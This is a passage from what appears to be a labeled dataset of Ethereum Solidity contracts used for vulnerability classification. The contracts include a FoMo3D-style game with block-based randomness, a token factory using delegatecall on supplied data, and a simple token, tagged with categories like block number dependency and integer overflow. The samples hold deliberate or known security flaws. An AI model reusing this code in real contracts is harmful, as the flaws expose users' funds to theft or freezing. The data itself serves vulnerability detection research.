uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit Suohaevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Suohadatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit Suohaevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(Suohadatasets.EventReturns memory _eventData_) private returns (Suohadatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, Suohadatasets.EventReturns memory _eventData_) private returns (Suohadatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(Suohadatasets.EventReturns memory _eventData_) private returns (Suohadatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); community_addr.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_) private returns(Suohadatasets.EventReturns) { uint256 _com = (_eth.mul(3)) / 100; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit Suohaevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } community_addr.transfer(_com); return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Suohadatasets.EventReturns memory _eventData_) private returns(Suohadatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = 0; airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(13)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Suohadatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit Suohaevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == activate_addr, ""only activate can activate"" ); require(activated_ == false, ""shuoha already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library Suohadatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library SuohaKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 25217.sol,"pragma solidity ^0.4.18; contract ERC20 { uint public totalSupply; function balanceOf(address _owner) constant public returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint remaining); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20 { using SafeMath for uint256; uint256 public totalSupply; mapping (address => mapping (address => uint256)) allowed; mapping (address => uint256) balances; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function approve(address _spender, uint256 _value) public returns (bool) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) { revert(); } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } } contract ERC677 is ERC20 { function transferAndCall(address to, uint value, bytes data) public returns (bool ok); event TransferAndCall(address indexed from, address indexed to, uint value, bytes data); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function toPower2(uint256 a) internal pure returns (uint256) { return mul(a, a); } function sqrt(uint256 a) internal pure returns (uint256) { uint256 c = (a + 1) / 2; uint256 b = a; while (c < b) { b = c; c = (a / c + c) / 2; } return b; } } contract Standard677Token is ERC677, BasicToken { function transferAndCall(address _to, uint _value, bytes _data) public returns (bool) { require(super.transfer(_to, _value)); TransferAndCall(msg.sender, _to, _value, _data); if (isContract(_to)) return contractFallback(_to, _value, _data); return true; } function contractFallback(address _to, uint _value, bytes _data) private returns (bool) { ERC223Receiver receiver = ERC223Receiver(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); return true; } function isContract(address _addr) private constant returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return length > 0; } } contract Ownable { address public owner; address public newOwnerCandidate; event OwnershipRequested(address indexed _by, address indexed _to); event OwnershipTransferred(address indexed _from, address indexed _to); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyOwnerCandidate() { require(msg.sender == newOwnerCandidate); _; } function requestOwnershipTransfer(address _newOwnerCandidate) external onlyOwner { require(_newOwnerCandidate != address(0)); newOwnerCandidate = _newOwnerCandidate; OwnershipRequested(msg.sender, newOwnerCandidate); } function acceptOwnership() external onlyOwnerCandidate { address previousOwner = owner; owner = newOwnerCandidate; newOwnerCandidate = address(0); OwnershipTransferred(previousOwner, owner); } } contract TokenHolder is Ownable { function transferAnyERC20Token(address _tokenAddress, uint256 _amount) public onlyOwner returns (bool success) { return ERC20(_tokenAddress).transfer(owner, _amount); } } contract ColuLocalCurrency is Ownable, Standard677Token, TokenHolder { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; function ColuLocalCurrency(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { require(_totalSupply != 0); require(bytes(_name).length != 0); require(bytes(_symbol).length != 0); totalSupply = _totalSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[msg.sender] = totalSupply; } } contract ERC223Receiver { function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok); } contract Standard223Receiver is ERC223Receiver { Tkn tkn; struct Tkn { address addr; address sender; uint256 value; } bool __isTokenFallback; modifier tokenPayable { require(__isTokenFallback); _; } function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok) { if (!supportsToken(msg.sender)) { return false; } tkn = Tkn(msg.sender, _sender, _value); __isTokenFallback = true; if (!address(this).delegatecall(_data)) { __isTokenFallback = false; return false; } __isTokenFallback = false; return true; } function supportsToken(address token) public constant returns (bool); } contract TokenOwnable is Standard223Receiver, Ownable { modifier onlyTokenOwner() { require(tkn.sender == owner); _; } } contract MarketMaker is ERC223Receiver { function getCurrentPrice() public constant returns (uint _price); function change(address _fromToken, uint _amount, address _toToken) public returns (uint _returnAmount); function change(address _fromToken, uint _amount, address _toToken, uint _minReturn) public returns (uint _returnAmount); function change(address _toToken) public returns (uint _returnAmount); function change(address _toToken, uint _minReturn) public returns (uint _returnAmount); function quote(address _fromToken, uint _amount, address _toToken) public constant returns (uint _returnAmount); function openForPublicTrade() public returns (bool success); function isOpenForPublic() public returns (bool success); event Change(address indexed fromToken, uint inAmount, address indexed toToken, uint returnAmount, address indexed account); } contract EllipseMarketMaker is TokenOwnable { uint256 public constant PRECISION = 10 ** 18; ERC20 public token1; ERC20 public token2; uint256 public R1; uint256 public R2; uint256 public S1; uint256 public S2; bool public operational; bool public openForPublic; address public mmLib; function EllipseMarketMaker(address _mmLib, address _token1, address _token2) public { require(_mmLib != address(0)); bytes4 sig = 0x6dd23b5b; uint256 argsSize = 3 * 32; uint256 dataSize = 4 + argsSize; bytes memory m_data = new bytes(dataSize); assembly { mstore(add(m_data, 0x20), sig) mstore(add(m_data, 0x24), _mmLib) mstore(add(m_data, 0x44), _token1) mstore(add(m_data, 0x64), _token2) } require(_mmLib.delegatecall(m_data)); } function supportsToken(address token) public constant returns (bool) { return (token1 == token || token2 == token); } function() public { address _mmLib = mmLib; if (msg.data.length > 0) { assembly { calldatacopy(0xff, 0, calldatasize) let retVal := delegatecall(gas, _mmLib, 0xff, calldatasize, 0, 0x20) switch retVal case 0 { revert(0,0) } default { return(0, 0x20) } } } } } contract IEllipseMarketMaker is MarketMaker { uint256 public constant PRECISION = 10 ** 18; ERC20 public token1; ERC20 public token2; uint256 public R1; uint256 public R2; uint256 public S1; uint256 public S2; bool public operational; bool public openForPublic; address public mmLib; function supportsToken(address token) public constant returns (bool); function calcReserve(uint256 _R1, uint256 _S1, uint256 _S2) public pure returns (uint256); function validateReserves() public view returns (bool); function withdrawExcessReserves() public returns (uint256); function initializeAfterTransfer() public returns (bool); function initializeOnTransfer() public returns (bool); function getPrice(uint256 _R1, uint256 _R2, uint256 _S1, uint256 _S2) public constant returns (uint256); } contract CurrencyFactory is Standard223Receiver, TokenHolder { struct CurrencyStruct { string name; uint8 decimals; uint256 totalSupply; address owner; address mmAddress; } mapping (address => CurrencyStruct) public currencyMap; address public clnAddress; address public mmLibAddress; address[] public tokens; event MarketOpen(address indexed marketMaker); event TokenCreated(address indexed token, address indexed owner); modifier tokenIssuerOnly(address token, address owner) { require(currencyMap[token].owner == owner); _; } modifier CLNOnly() { require(msg.sender == clnAddress); _; } function CurrencyFactory(address _mmLib, address _clnAddress) public { require(_mmLib != address(0)); require(_clnAddress != address(0)); mmLibAddress = _mmLib; clnAddress = _clnAddress; } function createCurrency(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public returns (address) { ColuLocalCurrency subToken = new ColuLocalCurrency(_name, _symbol, _decimals, _totalSupply); EllipseMarketMaker newMarketMaker = new EllipseMarketMaker(mmLibAddress, clnAddress, subToken); require(subToken.transfer(newMarketMaker, _totalSupply)); require(IEllipseMarketMaker(newMarketMaker).initializeAfterTransfer()); currencyMap[subToken] = CurrencyStruct({ name: _name, decimals: _decimals, totalSupply: _totalSupply, mmAddress: newMarketMaker, owner: msg.sender}); tokens.push(subToken); TokenCreated(subToken, msg.sender); return subToken; } function insertCLNtoMarketMaker(address _token, uint256 _clnAmount) public tokenIssuerOnly(_token, msg.sender) returns (uint256 _subTokenAmount) { require(_clnAmount > 0); address marketMakerAddress = getMarketMakerAddressFromToken(_token); require(ERC20(clnAddress).transferFrom(msg.sender, this, _clnAmount)); require(ERC20(clnAddress).approve(marketMakerAddress, _clnAmount)); _subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, _clnAmount, _token); require(ERC20(_token).transfer(msg.sender, _subTokenAmount)); } function insertCLNtoMarketMaker(address _token) public tokenPayable CLNOnly tokenIssuerOnly(_token, tkn.sender) returns (uint256 _subTokenAmount) { address marketMakerAddress = getMarketMakerAddressFromToken(_token); require(ERC20(clnAddress).approve(marketMakerAddress, tkn.value)); _subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, tkn.value, _token); require(ERC20(_token).transfer(tkn.sender, _subTokenAmount)); } function extractCLNfromMarketMaker(address _token, uint256 _ccAmount) public tokenIssuerOnly(_token, msg.sender) returns (uint256 _clnTokenAmount) { address marketMakerAddress = getMarketMakerAddressFromToken(_token); require(ERC20(_token).transferFrom(msg.sender, this, _ccAmount)); require(ERC20(_token).approve(marketMakerAddress, _ccAmount)); _clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(_token, _ccAmount, clnAddress); require(ERC20(clnAddress).transfer(msg.sender, _clnTokenAmount)); } function extractCLNfromMarketMaker() public tokenPayable tokenIssuerOnly(msg.sender, tkn.sender) returns (uint256 _clnTokenAmount) { address marketMakerAddress = getMarketMakerAddressFromToken(msg.sender); require(ERC20(msg.sender).approve(marketMakerAddress, tkn.value)); _clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(msg.sender, tkn.value, clnAddress); require(ERC20(clnAddress).transfer(tkn.sender, _clnTokenAmount)); } function openMarket(address _token) public tokenIssuerOnly(_token, msg.sender) returns (bool) { address marketMakerAddress = getMarketMakerAddressFromToken(_token); require(MarketMaker(marketMakerAddress).openForPublicTrade()); Ownable(marketMakerAddress).requestOwnershipTransfer(msg.sender); MarketOpen(marketMakerAddress); return true; } function supportsToken(address _token) public constant returns (bool) { return (clnAddress == _token || currencyMap[_token].totalSupply > 0); } function getMarketMakerAddressFromToken(address _token) public constant returns (address _marketMakerAddress) { _marketMakerAddress = currencyMap[_token].mmAddress; require(_marketMakerAddress != address(0)); } }",./Dataset/ether frozen (EF),2,2 1357.sol," pragma solidity ^0.4.24; contract BitBoscoin { string public standard = 'BOSS Token'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function BitBoscoin() { initialSupply = 30000000000000000000000000; name =""BitBoscoin""; decimals = 18; symbol = ""BOSS""; balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; } function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; } function () { throw; } }",./Dataset/integer overflow (OF)/,4,4 40341.sol,"// King of the Ether Throne Contracts. // Copyright (c) 2016 Kieran Elby. Released under the MIT License. // Version 1.0.0, 31 July 2016. // // See also http://www.kingoftheether.com and // https://github.com/kieranelby/KingOfTheEtherThrone . // // This file contains a number of contracts, of which only // these three are normally created: // // - Kingdom = maintains the throne for a kingdom // - World = runs the world, which is a collection of kingdoms // - KingdomFactory = used internally by the World contract // // The ""Mixin"" contracts (ThroneRulesMixin, ReentryProtectorMixin, // CarefulSenderMixin, FundsHolderMixin, MoneyRounderMixin, // NameableMixin) contain functions / data / structures used // by the three main contracts. // The ExposedInternalsForTesting contract is used by automated tests. /// @title Mixin to help avoid recursive-call attacks. contract ReentryProtectorMixin { // true if we are inside an external function bool reentryProtector; // Mark contract as having entered an external function. // Throws an exception if called twice with no externalLeave(). // For this to work, Contracts MUST: // - call externalEnter() at the start of each external function // - call externalLeave() at the end of each external function // - never use return statements in between enter and leave // - never call an external function from another function // WARN: serious risk of contract getting stuck if used wrongly. function externalEnter() internal { if (reentryProtector) { throw; } reentryProtector = true; } // Mark contract as having left an external function. // Do this after each call to externalEnter(). function externalLeave() internal { reentryProtector = false; } } /// @title Mixin to help send ether to untrusted addresses. contract CarefulSenderMixin { // Seems a reasonable amount for a well-written fallback function. uint constant suggestedExtraGasToIncludeWithSends = 23000; // Send `_valueWei` of our ether to `_toAddress`, including // `_extraGasIncluded` gas above the usual 2300 gas stipend // with the send call. // // 